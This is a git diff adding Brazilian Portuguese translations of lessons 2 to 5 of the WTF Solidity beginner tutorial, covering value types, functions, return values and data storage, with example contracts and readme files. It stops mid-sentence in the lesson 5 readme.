b/Languages/pt-br/02_ValueTypes/ValueTypes.sol new file mode 100644 index 000000000..a8f1ecf87 --- /dev/null +++ b/Languages/pt-br/02_ValueTypes/ValueTypes.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ValueTypes{ + // Valores booleanos + bool public _bool = true; + // Operações booleanas + //取非 + //e + //ou + //igual + //não é igual + + + // Número inteiro + int public _int = -1; + uint public _uint = 1; + uint256 public _number = 20220330; + // Operações com números inteiros + // +, -, *, / + // Índice + // Pegar o resto da divisão + // Comparar tamanhos + + + // Endereço + address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + // endereço pagável, você pode enviar e receber pagamentos, verificar o saldo + // Membro do tipo de endereço + // saldo do endereço + + + // Matriz de bytes de comprimento fixo + // bytes32: 0x4d696e69536f6c69646974790000000000000000000000000000000000000000 + // bytes1: 0x4d + + + // Enum + // Comprar, Manter, Vender + enum ActionSet { Buy, Hold, Sell } + // Criar uma variável enum chamada "action" + ActionSet action = ActionSet.Buy; + + // enum pode ser convertido explicitamente para uint + function enumToUint() external view returns(uint){ + return uint(action); + } +} + diff --git a/Languages/pt-br/02_ValueTypes/img/2-1.png b/Languages/pt-br/02_ValueTypes/img/2-1.png new file mode 100644 index 000000000..101f83c5d Binary files /dev/null and b/Languages/pt-br/02_ValueTypes/img/2-1.png differ diff --git a/Languages/pt-br/02_ValueTypes/img/2-2.png b/Languages/pt-br/02_ValueTypes/img/2-2.png new file mode 100644 index 000000000..567881cf5 Binary files /dev/null and b/Languages/pt-br/02_ValueTypes/img/2-2.png differ diff --git a/Languages/pt-br/02_ValueTypes/img/2-3.png b/Languages/pt-br/02_ValueTypes/img/2-3.png new file mode 100644 index 000000000..688c59821 Binary files /dev/null and b/Languages/pt-br/02_ValueTypes/img/2-3.png differ diff --git a/Languages/pt-br/02_ValueTypes/readme.md b/Languages/pt-br/02_ValueTypes/readme.md new file mode 100644 index 000000000..886ea7ce4 --- /dev/null +++ b/Languages/pt-br/02_ValueTypes/readme.md @@ -0,0 +1,159 @@ +--- +title: 2. Tipos de Valor +tags: + - solidity + - básico + - wtfacademy +--- + +# WTF Introdução Simplificada ao Solidity: 2. Tipos de Valor + +Recentemente, tenho revisado Solidity para consolidar alguns detalhes e estou escrevendo um "WTF Introdução Simplificada ao Solidity" para ajudar iniciantes (programadores avançados podem procurar outros tutoriais). Será atualizado semanalmente com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## Tipos de Variáveis no Solidity + +1. **Tipo de Valor (Value Type)**: incluem booleanos, inteiros, etc., esses tipos de variáveis passam diretamente o valor ao serem atribuídas. + +2. **Tipo de Referência (Reference Type)**: incluem arrays e structs, esses tipos de variáveis ocupam mais espaço e passam o endereço diretamente ao serem atribuídas (semelhante a ponteiros). + +3. **Tipo de Mapeamento (Mapping Type)**: Estrutura de dados para armazenar pares chave-valor no Solidity, pode ser entendido como uma tabela de hash. + +Vamos abordar apenas os tipos comuns, os tipos menos utilizados não serão abordados, e neste artigo, falaremos sobre tipos de valor. + +## Tipos de Valor + +### 1. Booleano + +O tipo booleano é uma variável binária, com valores `true` ou `false`. + +```solidity +// Booleano +bool public _bool = true; +``` + +Os operadores booleanos incluem: + +- `!` (negação lógica) +- `&&` (e lógico, "and") +- `||` (ou lógico, "or") +- `==` (igual a) +- `!=` (diferente de) + +```solidity +// Operações booleanas +bool public _bool1 = !_bool; // negação +bool public _bool2 = _bool && _bool1; // e +bool public _bool3 = _bool || _bool1; // ou +bool public _bool4 = _bool == _bool1; // igual +bool public _bool5 = _bool != _bool1; // diferente +``` + +No código acima: a variável `_bool` possui o valor `true`; `_bool1` é a negação de `_bool`, ou seja, `false`; `_bool && _bool1` é `false`; `_bool || _bool1` é `true`; `_bool == _bool1` é `false`; `_bool != _bool1` é `true`. + +**Observe que:** os operadores `&&` e `||` seguem a regra da avaliação de curto-circuito, o que significa que, se houver uma expressão `f(x) || g(y)`, e `f(x)` for `true`, `g(y)` não será avaliado, mesmo que o resultado seja o oposto de `f(x)`. Da mesma forma, se houver uma expressão `f(x) && g(y)`, e `f(x)` for `false`, `g(y)` não será avaliado. + +### 2. Inteiro + +Os inteiros são tipos de dados inteiros no Solidity, os mais comuns são: + +```solidity +// Inteiros +int public _int = -1; // inteiro, incluindo números negativos +uint public _uint = 1; // inteiro positivo +uint256 public _number = 20220330; // inteiro positivo de 256 bits +``` + +Os operadores de inteiro comuns incluem: + +- Operadores de comparação (retornam um valor booleano): `<=`, `<`, `==`, `!=`, `>=`, `>` +- Operadores aritméticos: `+`, `-`, `*`, `/`, `%` (resto da divisão), `**` (potenciação) + +```solidity +// Operações com inteiros +uint256 public _number1 = _number + 1; // +, -, *, / +uint256 public _number2 = 2**2; // potenciação +uint256 public _number3 = 7 % 2; // resto da divisão +bool public _numberbool = _number2 > _number3; // comparação +``` + +Você pode executar o código acima para ver os valores das 4 variáveis. + +### 3. Endereço + +O tipo de dado endereço (address) possui duas variantes: + +- Endereço normal (address): armazena um valor de 20 bytes (tamanho de um endereço Ethereum). +- Endereço pagável (payable address): além do endereço normal, inclui os métodos `transfer` e `send` para receber transferências de Ether. + +Falaremos mais sobre endereços pagáveis em capítulos posteriores. + +```solidity +// Endereço +address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; +address payable public _address1 = payable(_address); // endereço pagável, permite transferências e verificar saldo +// Membros do tipo de endereço +uint256 public balance = _address1.balance; // saldo do endereço +``` + +### 4. Arrays de Bytes de Comprimento Fixo + +Os arrays de bytes podem ser de comprimento fixo ou variável: + +- Arrays de bytes de comprimento fixo: são tipos de valor, o comprimento do array não pode ser alterado após a declaração. Existem tipos como `bytes1`, `bytes8`, `bytes32`, etc. O máximo é armazenar 32 bytes, ou seja, `bytes32`. +- Arrays de bytes de comprimento variável: são tipos de referência (serão abordados em capítulos posteriores), o comprimento do array pode ser alterado após a declaração, como o tipo `bytes`. + +```solidity +// Array de Bytes de Comprimento Fixo +bytes32 public _byte32 = "MiniSolidity"; +bytes1 public _byte = _byte32[0]; +``` + +No código acima, a variável `MiniSolidity` é armazenada em `_byte32` como uma sequência de bytes. Se convertido para hexadecimal, seria: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000` + +O valor de `_byte` será o primeiro byte de `_byte32`, ou seja, `0x4d`. + +### 5. Enum (Enumerado) + +Enum é um tipo de dado que pode ser definido pelo usuário no Solidity. Geralmente é usado para atribuir nomes a `uint`, facilitando a leitura e manutenção do código. Se parece com `enum` em linguagens como C, onde os nomes são atribuídos a partir de `0`. + +```solidity +// Definindo um enum para Buy, Hold e Sell +enum ActionSet { Buy, Hold, Sell } +// Criando uma variável enum chamada action +ActionSet action = ActionSet.Buy; +``` + +É possível converter explicitamente `enum` em `uint` e vice-versa, e o Solidity verificaria se o inteiro positivo convertido está dentro do intervalo do `enum`, caso contrário, ocorrerá um erro: + +```solidity +// Conversão explícita de enum em uint +function enumToUint() external view returns(uint){ + return uint(action); +} +``` + +O `enum` é um tipo de dados pouco utilizado, raramente usado. + +## Executando no Remix + +- Após a implantação do contrato, é possível verificar os valores das variáveis de cada tipo: + +![2-1.png](./img/2-1.png) + +- Exemplo de conversão entre `enum` e `uint`: + +![2-2.png](./img/2-2.png) +![2-3.png](./img/2-3.png) + +## Conclusão + +Neste artigo, apresentamos os tipos de valor no Solidity, incluindo booleanos, inteiros, endereços, arrays de bytes de comprimento fixo e enum. Nos próximos capítulos, continuaremos discutindo outros tipos de variáveis no Solidity, como os tipos de referência e mapeamento. + diff --git a/Languages/pt-br/03_Function/Function.sol b/Languages/pt-br/03_Function/Function.sol new file mode 100644 index 000000000..dab1a1896 --- /dev/null +++ b/Languages/pt-br/03_Function/Function.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract FunctionTypes{ + uint256 public number = 5; + + constructor() payable {} + + // Tipo de função + // função () {interno|externo} [puro|visualização|pagável] [retorna ()] + // função padrão + function add() external{ + number = number + 1; + } + + // puro: puro boi cavalo + function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number+1; + } + + // view: Espectador + function addView() external view returns(uint256 new_number) { + new_number = number + 1; + } + + // internal: Função interna + function minus() internal { + number = number - 1; + } + + // As funções dentro do contrato podem chamar funções internas. + function minusCall() external { + minus(); + } + + // payable: função que permite enviar ETH para o contrato + function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; + } +} \ No newline at end of file diff --git a/Languages/pt-br/03_Function/img/3-1.png b/Languages/pt-br/03_Function/img/3-1.png new file mode 100644 index 000000000..5ae423edb Binary files /dev/null and b/Languages/pt-br/03_Function/img/3-1.png differ diff --git a/Languages/pt-br/03_Function/img/3-2.png b/Languages/pt-br/03_Function/img/3-2.png new file mode 100644 index 000000000..fecf8ab2d Binary files /dev/null and b/Languages/pt-br/03_Function/img/3-2.png differ diff --git a/Languages/pt-br/03_Function/img/3-3.png b/Languages/pt-br/03_Function/img/3-3.png new file mode 100644 index 000000000..26b390300 Binary files /dev/null and b/Languages/pt-br/03_Function/img/3-3.png differ diff --git a/Languages/pt-br/03_Function/img/3-4.png b/Languages/pt-br/03_Function/img/3-4.png new file mode 100644 index 000000000..04318f090 Binary files /dev/null and b/Languages/pt-br/03_Function/img/3-4.png differ diff --git a/Languages/pt-br/03_Function/readme.md b/Languages/pt-br/03_Function/readme.md new file mode 100644 index 000000000..63d484b50 --- /dev/null +++ b/Languages/pt-br/03_Function/readme.md @@ -0,0 +1,143 @@ +# WTF Introdução Simples ao Solidity: 3. Funções + +Eu tenho revisado Solidity recentemente para reforçar os detalhes e decidi escrever um "WTF Introdução Simples ao Solidity" para uso dos novatos (os programadores experientes podem procurar outros tutoriais). Estarei atualizando 1-3 sessões por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## Funções + +As funções em Solidity são muito versáteis e podem realizar diversas operações complexas. Neste tutorial, vamos abordar os conceitos básicos de funções e demonstrar como utilizá-las por meio de exemplos. + +Vamos dar uma olhada na forma das funções em Solidity: + +```solidity +function () {internal|external|public|private} [pure|view|payable] [returns ()] +``` + +Vamos explicar cada parte, de trás para frente (os itens entre colchetes são palavras-chave opcionais): + +1. `function`: Palavra-chave fixa usada para declarar uma função. Para escrever uma função, é necessário começar com a palavra-chave `function`. + +2. ``: Nome da função. + +3. `()`: Colchetes contendo os tipos e nomes dos parâmetros que a função aceita. + +4. `{internal|external|public|private}`: Modificador de visibilidade da função, com 4 opções. + + - `public`: Visível interna e externamente. + - `private`: Acesso permitido apenas internamente ao contrato, contratos herdados também não podem acessá-lo. + - `external`: Acesso permitido apenas externamente (internamente pode ser acessado através de `this.f()`, sendo `f` o nome da função). + - `internal`: Acesso permitido apenas internamente, contratos herdados podem acessá-lo. + + **Observação 1**: Funções definidas em contratos precisam especificar explicitamente a visibilidade, pois não possuem um valor padrão. + + **Observação 2**: `public|private|internal` também podem ser usados para modificar variáveis de estado. Variáveis `public` geram automaticamente uma função `getter` com o mesmo nome para consultar o valor. Variáveis de estado não marcadas com um modificador de visibilidade são consideradas `internal` por padrão. + +5. `[pure|view|payable]`: Palavras-chave que determinam as permissões/funções da função. A explicação de `payable` é clara, indica que uma função pode receber ETH ao ser executada. A explicação de `pure` e `view` está na próxima seção. + +6. `[returns ()]`: Tipos e nomes das variáveis de retorno da função. + +## O que é `Pure` e `View` afinal? + +Ao começar a aprender Solidity, as palavras-chave `pure` e `view` podem parecer confusas, pois outras linguagens de programação não possuem equivalentes. A introdução dessas palavras-chave em Solidity é principalmente devido ao fato de que transações do Ethereum requerem pagamento de taxa de gás. Funções marcadas como `pure` e `view` não alteram o estado na cadeia de blocos, e ao chamar diretamente essas funções, não é necessário pagar gás (Observação: funções não `pure`/`view` que chamam funções `pure`/`view` ainda precisam pagar gás). + +No Ethereum, as seguintes ações são consideradas modificação do estado na cadeia de blocos: + +1. Alterar variáveis de estado. +2. Emitir eventos. +3. Criar outros contratos. +4. Usar o `selfdestruct`. +5. Enviar ETH por chamadas de função. +6. Chamar qualquer função não marcada como `view` ou `pure`. +7. Usar chamadas de baixo nível (`low-level calls`). +8. Usar o assembly inline que inclui certos opcodes. + +Para ajudar a entender, criei uma ilustração do Mario. Na ilustração, comparo a variável de estado do contrato (armazenada na cadeia) com a Princesa Peach, e diferentes personagens representam as diferentes palavras-chave. + +[Imagem ilustrativa explicando Pure e View] + +- `pure`: Significa "puro", neste caso pode ser entendido como “sem efeitos colaterais”. Funções `pure` não podem ler nem escrever em variáveis de estado. É como um inimigo que não pode ver ou tocar na Princesa Peach. + +- `view`: Significa “visualização”, neste caso pode ser entendido como “espectador”. Funções `view` podem ler, mas não escrever em variáveis de estado. É como o Mario, que pode ver a Princesa Peach, mas é apenas um espectador, não pode interagir com ela. + +- Funções que não são `pure` nem `view` podem ler e escrever em variáveis de estado. Funcionam como o "boss" no jogo do Mario, que pode fazer o que bem entender com a Princesa Peach. + +## Código + +### 1. Pure e View + +Vamos primeiro definir no contrato uma variável de estado `number` inicializada como 5. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract FunctionTypes{ + uint256 public number = 5; +} +``` + +Vamos definir uma função `add()` que incrementa a variável `number` em 1 sempre que é chamada. + +```solidity +// Função padrão +function add() external{ + number = number + 1; +} +``` + +Se a função `add()` for marcada como `pure`, por exemplo `function add() external pure`, um erro será gerado. Isso ocorre porque uma função `pure` não pode ler variáveis de estado do contrato, muito menos modificá-las. Mas o que uma função `pure` pode fazer? Por exemplo, ela pode receber um parâmetro `_number`, e retornar `_number + 1`, sem ler ou escrever em variáveis de estado. + +```solidity +// pure: "pura zoeira" +function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number + 1; +} +``` + +Se a função `add()` for marcada como `view`, por exemplo `function add() external view`, também será gerado um erro. Isso porque uma função `view` pode ler, mas não modificar variáveis de estado. Podemos realizar uma pequena modificação na função para ler `number`, mas sem modificar seu valor, retornando um novo valor. + +```solidity +// view: espectador +function addView() external view returns(uint256 new_number) { + new_number = number + 1; +} +``` + +### 2. internal vs. external + +```solidity +// internal: função interna +function minus() internal { + number = number - 1; +} + +// Funções internas podem ser chamadas a partir de funções no contrato +function minusCall() external { + minus(); +} +``` + +Vamos definir a função `minus()`, marcada como `internal`, que reduz o valor da variável `number` em 1 a cada chamada. Como funções `internal` só podem ser chamadas internamente dentro do contrato, precisamos definir uma função `external` `minusCall()` para chamar indiretamente a função `minus()`. + +### 3. payable + +```solidity +// payable: aceita pagamento, função que permite contratos receberem ETH +function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; +} +``` + +Vamos definir a função `minusPayable()`, marcada como `external payable`, que indiretamente chama `minus()` e retorna o saldo de ETH no contrato (usamos `this` para referenciar o endereço do contrato). Podemos chamar a função `minusPayable()` e enviar 1 ETH para o contrato. + +## Conclusão + +Nesta sessão, apresentamos as funções em Solidity. As palavras-chave `pure` e `view` podem ser difíceis de entender, pois não existem equivalentes em outras linguagens de programação: uma função `view` pode ler variáveis de estado, mas não pode modificá-las; uma função `pure` não pode ler nem modificar variáveis de estado. + diff --git a/Languages/pt-br/04_Return/Return.sol b/Languages/pt-br/04_Return/Return.sol new file mode 100644 index 000000000..a53dfc738 --- /dev/null +++ b/Languages/pt-br/04_Return/Return.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Retorna várias variáveis +// Retorno nomeado +// Atribuição por desestruturação + +contract Return { + // Retorna várias variáveis + function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); + } + + // Retorno nomeado + function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; + } + + // Retorno nomeado, ainda suporta return + function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); + } + + // Ler o valor de retorno, atribuição por desestruturação + function readReturn() public pure{ + // Ler todos os valores de retorno + uint256 _number; + bool _bool; + bool _bool2; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); + + // Ler parte dos valores de retorno, atribuição por desestruturação + (, _bool2, ) = returnNamed(); + } +} diff --git a/Languages/pt-br/04_Return/img/4-1.png b/Languages/pt-br/04_Return/img/4-1.png new file mode 100644 index 000000000..82d91f021 Binary files /dev/null and b/Languages/pt-br/04_Return/img/4-1.png differ diff --git a/Languages/pt-br/04_Return/readme.md b/Languages/pt-br/04_Return/readme.md new file mode 100644 index 000000000..5ec4acb81 --- /dev/null +++ b/Languages/pt-br/04_Return/readme.md @@ -0,0 +1,85 @@ +# WTF Introdução básica ao Solidity: 4. Saída de funções + +Recentemente, tenho revisado Solidity para consolidar alguns detalhes e criar um "WTF Introdução básica ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Atualizações semanais de 1 a 3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos discutir a saída de funções em Solidity, incluindo: retorno de múltiplas variáveis, retorno nomeado e o uso da atribuição por destruturação para ler todos ou parte dos valores de retorno. + +## Valores de retorno: return e returns + +Em Solidity, existem duas palavras-chave relacionadas à saída de funções: `return` e `returns`. A diferença entre elas é a seguinte: + +- `returns`: segue o nome da função e é usado para declarar os tipos e nomes das variáveis de retorno. +- `return`: utilizado no corpo da função para retornar variáveis específicas. + +```solidity +// Retornando múltiplas variáveis +function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); +} +``` + +No código acima, usamos a palavra-chave `returns` para declarar a função `returnMultiple()` que retorna várias variáveis, e então usamos `return(1, true, [uint256(1),2,5])` no corpo da função para determinar os valores de retorno. + +No exemplo acima, `uint256[3]` declara um array de comprimento `3` e tipo `uint256` como retorno. Como `[1,2,3]` é interpretado como `uint8(3)` por padrão, o primeiro elemento em `[uint256(1),2,5]` deve ser convertido em `uint256` para declarar que todos os elementos do array são desse tipo. Arrays como valores de retorno devem ser declarados como `memory`, como veremos em mais detalhes no próximo capítulo sobre [armazenamento e escopo de variáveis](../05_DataStorage/readme.md). + +## Retorno nomeado + +Podemos especificar os nomes das variáveis de retorno dentro de `returns`. Dessa forma, o Solidity inicializa essas variáveis e automaticamente as retorna sem a necessidade de utilizar `return`. + +```solidity +// Retorno nomeado +function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; +} +``` + +No código acima, utilizamos `returns(uint256 _number, bool _bool, uint256[3] memory _array)` para declarar os tipos e nomes das variáveis de retorno. Em seguida, no corpo da função, simplesmente atribuímos valores às variáveis `_number`, `_bool` e `_array`, que serão retornadas automaticamente. + +É possível utilizar o `return` mesmo no retorno nomeado: + +```solidity +// Retorno nomeado, ainda é possível usar return +function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); +} +``` + +## Atribuição por destruturação + +Solidity suporta a atribuição por destruturação para ler todos ou parte dos valores de retorno de uma função. + +- Ler todos os valores de retorno: declara-se as variáveis e as variáveis a serem atribuídas são separadas por `,` e listadas em ordem. + + ```solidity + uint256 _number; + bool _bool; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); + ``` + +- Ler parte dos valores de retorno: declara-se as variáveis correspondentes aos valores a serem lidos e deixa-se em branco as que não serão utilizadas. No exemplo abaixo, estamos lendo apenas `_bool` e não os valores `_number` e `_array` retornados: + + ```solidity + (, _bool2, ) = returnNamed(); + ``` + +## Executando no Remix + +- Deploy o contrato e veja os resultados dos três métodos de retorno. + + ![4-1.png](./img/4-1.png) + +## Conclusão + +Nesta aula, abordamos a saída de funções em Solidity, incluindo: retorno de múltiplas variáveis, retorno nomeado e o uso da atribuição por destruturação para ler todos ou parte dos valores de retorno. Esses conceitos nos ajudam a lidar de forma mais flexível com os valores de retorno ao escrever contratos inteligentes. + diff --git a/Languages/pt-br/05_DataStorage/DataStorage.sol b/Languages/pt-br/05_DataStorage/DataStorage.sol new file mode 100644 index 000000000..13af33278 --- /dev/null +++ b/Languages/pt-br/05_DataStorage/DataStorage.sol @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract DataStorage { + // A localização dos dados de x é armazenamento. + // Este é o único lugar onde o + // A localização dos dados pode ser omitida. + uint[] public x = [1,2,3]; + + function fStorage() public{ + //Declare a variable xStorage that points to x. Modifying xStorage will also affect x. + uint[] storage xStorage = x; + xStorage[0] = 100; + } + + function fMemory() public view{ + //Declare a variable xMemory of type Memory, copy x. Modifying xMemory will not affect x. + uint[] memory xMemory = x; + xMemory[0] = 100; + xMemory[1] = 200; + uint[] memory xMemory2 = x; + xMemory2[0] = 300; + } + + function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + // Parâmetro é um array de calldata, não pode ser modificado. + // _x[0] = 0 // Essa modificação resultará em um erro + return(_x); + } +} + +contract Variables { + uint public x = 1; + uint public y; + string public z; + + function foo() external{ + // Você pode alterar o valor da variável de estado dentro de uma função + x = 5; + y = 2; + z = "0xAA"; + } + + function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); + } + + function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); + } + + function weiUnit() external pure returns(uint) { + assert(1 wei == 1e0); + assert(1 wei == 1); + return 1 wei; + } + + function gweiUnit() external pure returns(uint) { + assert(1 gwei == 1e9); + assert(1 gwei == 1000000000); + return 1 gwei; + } + + function etherUnit() external pure returns(uint) { + assert(1 ether == 1e18); + assert(1 ether == 1000000000000000000); + return 1 ether; + } + + function secondsUnit() external pure returns(uint) { + assert(1 seconds == 1); + return 1 seconds; + } + + function minutesUnit() external pure returns(uint) { + assert(1 minutes == 60); + assert(1 minutes == 60 seconds); + return 1 minutes; + } + + function hoursUnit() external pure returns(uint) { + assert(1 hours == 3600); + assert(1 hours == 60 minutes); + return 1 hours; + } + + function daysUnit() external pure returns(uint) { + assert(1 days == 86400); + assert(1 days == 24 hours); + return 1 days; + } + + function weeksUnit() external pure returns(uint) { + assert(1 weeks == 604800); + assert(1 weeks == 7 days); + return 1 weeks; + } +} + + + diff --git a/Languages/pt-br/05_DataStorage/img/5-1.png b/Languages/pt-br/05_DataStorage/img/5-1.png new file mode 100644 index 000000000..863cbd594 Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-1.png differ diff --git a/Languages/pt-br/05_DataStorage/img/5-2.png b/Languages/pt-br/05_DataStorage/img/5-2.png new file mode 100644 index 000000000..7c108fec4 Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-2.png differ diff --git a/Languages/pt-br/05_DataStorage/img/5-3.png b/Languages/pt-br/05_DataStorage/img/5-3.png new file mode 100644 index 000000000..d8363331e Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-3.png differ diff --git a/Languages/pt-br/05_DataStorage/img/5-4.png b/Languages/pt-br/05_DataStorage/img/5-4.png new file mode 100644 index 000000000..200e32568 Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-4.png differ diff --git a/Languages/pt-br/05_DataStorage/img/5-5.png b/Languages/pt-br/05_DataStorage/img/5-5.png new file mode 100644 index 000000000..b11ac8ae7 Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-5.png differ diff --git a/Languages/pt-br/05_DataStorage/img/5-6.png b/Languages/pt-br/05_DataStorage/img/5-6.png new file mode 100644 index 000000000..1537d9b57 Binary files /dev/null and b/Languages/pt-br/05_DataStorage/img/5-6.png differ diff --git a/Languages/pt-br/05_DataStorage/readme.md b/Languages/pt-br/05_DataStorage/readme.md new file mode 100644 index 000000000..4cb46ceaf --- /dev/null +++ b/Languages/pt-br/05_DataStorage/readme.md @@ -0,0 +1,216 @@ +# WTF Introdução Simples ao Solidity: 5. Armazenamento de Dados de Variáveis e Escopo + +Recentemente, tenho revisitado o Solidity para consolidar alguns detalhes e estou escrevendo uma "Introdução Simples ao Solidity" para ajudar os iniciantes (os especialistas em programação podem procurar outros tutoriais). A atualização será feita semanalmente com 1-3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## Tipos de Referência no Solidity + +Os tipos de referência (Reference Type) no Solidity incluem arrays (matrizes) e structs (estruturas). Como esses tipos de variáveis são mais complexos e ocupam mais espaço de armazenamento, é necessário especificar a localização de armazenamento dos dados ao usá-los. + +## Localização de Dados + +No Solidity, existem três tipos de localização de dados: `storage`, `memory` e `calldata`. Cada tipo de armazenamento possui um custo de `gas` diferente. Os dados do tipo `storage` são armazenados on-chain, semelhante a um disco rígido em um computador, e consomem mais `gas`. Os dados do tipo `memory` e `calldata` são temporariamente armazenados na memória, com um consumo de `gas` menor. Em linhas gerais: + +1. `storage`: As variáveis de estado do contrato são por padrão do tipo `storage` e são armazenadas na cadeia. + +2. `memory`: Parâmetros de função e variáveis temporárias dentro de funções normalmente utilizam o tipo `memory` e são armazenadas na memória, fora da cadeia. Especialmente quando o tipo de retorno da função é variável (de comprimento variável), é necessário utilizar o modificador `memory`, por exemplo: string, bytes, array e estruturas personalizadas. + +3. `calldata`: Semelhante ao `memory`, os dados são armazenados na memória e fora da cadeia. A diferença em relação ao `memory` é que as variáveis em `calldata` são somente leitura (imutáveis) e são normalmente utilizadas para parâmetros de função. Exemplo: + +```solidity +function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + // O parâmetro é um array calldata, não pode ser modificado + // _x[0] = 0 // Esta modificação causará um erro + return(_x); +} +``` + +**Exemplo:** + +![5-1.png](./img/5-1.png) + +### Regras de Atribuição da Localização de Dados + +Ao atribuir entre diferentes tipos de armazenamento, às vezes é criada uma cópia independente (modificar a nova variável não afeta a variável original), e outras vezes é criada uma referência (modificar a nova variável afeta a original). As regras são as seguintes: + +- Atribuir essencialmente cria uma referência ao corpo, portanto, a alteração do corpo ou da referência pode ser sincronizada: + + - Atribuir de `storage` (variáveis de estado do contrato) para `storage` local (dentro de funções) cria uma referência, e alterar a nova variável afetará a original. Exemplo: + + ```solidity + uint[] x = [1,2,3]; // Variável de estado: array x + + function fStorage() public{ + // Declaração de uma variável storage xStorage, que aponta para x. Alterar xStorage afetará x + uint[] storage xStorage = x; + xStorage[0] = 100; + } + ``` + + **Exemplo:** + + ![5-2.png](./img/5-2.png) + - `memory` atribuído a `memory` cria uma referência, e alterar a nova variável afetará a original. + +- Em outras situações, a atribuição cria uma cópia do corpo, ou seja, a modificação em um não será refletida no outro. + +## Escopo de Variáveis + +As variáveis no Solidity são divididas em três tipos de escopo: variáveis de estado (state variable), variáveis locais (local variable) e variáveis globais (global variable). + +### 1. Variáveis de Estado + +As variáveis de estado são aquelas cujos dados são armazenados na cadeia e podem ser acessadas por todas as funções dentro do contrato. Essas variáveis são declaradas dentro do contrato, fora das funções: + +```solidity +contract Variaveis { + uint public x = 1; + uint public y; + string public z; +} +``` + +Podemos alterar o valor das variáveis de estado dentro das funções: + +```solidity +function foo() external{ + // Podemos alterar o valor das variáveis de estado dentro da função + x = 5; + y = 2; + z = "0xAA"; +} +``` + +### 2. Variáveis Locais + +As variáveis locais são aquelas válidas apenas durante a execução de uma função e se tornam inválidas após a saída da função. Os dados das variáveis locais são armazenados na memória, fora da cadeia, e consomem menos `gas`. As variáveis locais são declaradas dentro de funções: + +```solidity +function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); +} +``` + +### 3. Variáveis Globais + +As variáveis globais possuem um escopo global de funcionamento e são palavras-chave reservadas do Solidity. Elas podem ser utilizadas diretamente dentro das funções sem precisar serem declaradas: + +```solidity +function global() external view returns(address, uint, bytes memory){ + address remetente = msg.sender; + uint numeroBloco = block.number; + bytes memory dados = msg.data; + return(remetente, 